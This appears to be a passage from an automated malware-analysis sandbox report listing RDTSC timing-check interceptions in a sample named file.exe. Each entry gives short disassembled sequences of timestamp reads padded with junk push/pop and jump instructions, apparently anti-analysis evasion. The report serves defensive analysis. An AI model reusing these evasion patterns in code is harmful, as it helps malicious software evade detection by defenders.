Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104EF3C second address: 104EF42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F0C7 second address: 104F0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F0CB second address: 104F0CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F0CF second address: 104F0DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F67208644C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F3C9 second address: 104F3CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F3CD second address: 104F3D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F67208644C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F3D7 second address: 104F3DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F3DB second address: 104F3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F6B8 second address: 104F70D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6720533106h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007F672053310Eh 0x00000014 pushad 0x00000015 jmp 00007F6720533114h 0x0000001a jmp 00007F6720533111h 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 jnp 00007F6720533106h 0x00000027 popad 0x00000028 push ebx 0x00000029 jp 00007F6720533106h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F9B4 second address: 104F9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F9BC second address: 104F9C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104F9C3 second address: 104F9FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ecx 0x0000000f ja 00007F67208644D8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FD0B second address: 104FD15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6720533106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FD15 second address: 104FD39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D3h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jp 00007F67208644C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104FFEE second address: 1050011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 jmp 00007F6720533116h 0x0000000b jo 00007F6720533106h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050011 second address: 105001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007F67208644C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050595 second address: 10505B6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6720533117h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050887 second address: 105088D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105088D second address: 1050894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050894 second address: 105089C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105089C second address: 10508A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050B7C second address: 1050B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1050B82 second address: 1050B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10543A0 second address: 10543A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10543A4 second address: 10543B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F672053310Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105453E second address: 1054542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1054843 second address: 105484F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F672053310Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A696 second address: 105A69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A69A second address: 105A6A7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6720533106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060441 second address: 1060451 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10605A2 second address: 10605A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10605A7 second address: 10605AC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10605AC second address: 10605B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10605B2 second address: 10605BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106091E second address: 1060932 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6720533106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b jnp 00007F672053311Ch 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060932 second address: 1060938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060A9F second address: 1060AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6720533106h 0x0000000a jl 00007F6720533106h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060D2C second address: 1060D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060D32 second address: 1060D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6720533106h 0x0000000a popad 0x0000000b pushad 0x0000000c jnp 00007F6720533106h 0x00000012 jo 00007F6720533106h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1060EAA second address: 1060EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061590 second address: 1061596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061596 second address: 10615C1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F67208644D3h 0x0000000f jmp 00007F67208644CEh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10615C1 second address: 10615C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10615C5 second address: 10615DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F67208644CDh 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FB91 second address: 105FBD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6720533106h 0x0000000a pop esi 0x0000000b push ebx 0x0000000c jmp 00007F6720533114h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ebx 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F6720533110h 0x0000001b jmp 00007F672053310Fh 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105FBD9 second address: 105FBFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jnl 00007F67208644C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A1C0 second address: 106A1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6720533106h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10763E9 second address: 10763EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10763EF second address: 1076415 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533119h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jnl 00007F672053310Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076415 second address: 107641E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107641E second address: 1076424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF905 second address: FAF921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F67208644D2h 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1075E4A second address: 1075E4F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BE1E second address: 107BE22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BE22 second address: 107BE37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533111h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BE37 second address: 107BE41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BFF1 second address: 107BFFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F6720533106h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083EC5 second address: 1083ED0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108ADB5 second address: 108ADBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108ADBF second address: 108ADC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D133 second address: 108D137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D137 second address: 108D13B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D13B second address: 108D146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091F20 second address: 1091F24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10921E9 second address: 10921EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10921EF second address: 10921F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092799 second address: 10927CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F6720533110h 0x0000000c ja 00007F6720533106h 0x00000012 pop ecx 0x00000013 jmp 00007F6720533110h 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10927CC second address: 10927DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F67208644C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10933CA second address: 10933E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6720533118h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097C95 second address: 1097C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097C9D second address: 1097CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A745E second address: 10A747A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F67208644D6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A72B9 second address: 10A72C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F672053310Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B32BE second address: 10B32C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B32C3 second address: 10B3320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6720533118h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jmp 00007F6720533114h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F672053310Ch 0x0000001c jmp 00007F6720533118h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5AAA second address: 10B5AB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5AB2 second address: 10B5AD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F6720533113h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5AD3 second address: 10B5AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C62B5 second address: 10C62CF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6720533106h 0x00000008 jmp 00007F672053310Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C62CF second address: 10C62D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C62D5 second address: 10C6300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F6720533106h 0x0000000a jmp 00007F672053310Ch 0x0000000f popad 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6720533111h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6300 second address: 10C630B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F67208644C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C630B second address: 10C6311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C540E second address: 10C5417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C556B second address: 10C55CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F6720533118h 0x0000000b jmp 00007F6720533113h 0x00000010 push edx 0x00000011 pop edx 0x00000012 jng 00007F6720533106h 0x00000018 popad 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pushad 0x0000001e popad 0x0000001f pop ecx 0x00000020 jnp 00007F672053311Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C55CA second address: 10C55D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C55D0 second address: 10C55D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C55D4 second address: 10C55D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C55D8 second address: 10C55DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5751 second address: 10C5757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5757 second address: 10C575B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C575B second address: 10C5764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5B0E second address: 10C5B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5B14 second address: 10C5B1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5B1A second address: 10C5B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C5C69 second address: 10C5C7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F67208644CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7A56 second address: 10C7A5C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA5C6 second address: 10CA5D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA5D0 second address: 10CA5F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F6720533116h 0x00000010 jmp 00007F6720533110h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA5F0 second address: 10CA647 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F67208644CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jl 00007F67208644CCh 0x00000011 sub dword ptr [ebp+122D2F87h], ebx 0x00000017 push 00000004h 0x00000019 call 00007F67208644D1h 0x0000001e sbb dh, FFFFFF92h 0x00000021 pop edx 0x00000022 call 00007F67208644C9h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F67208644D7h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA647 second address: 10CA67D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F672053310Ch 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F672053310Dh 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F672053310Bh 0x00000021 rdtsc
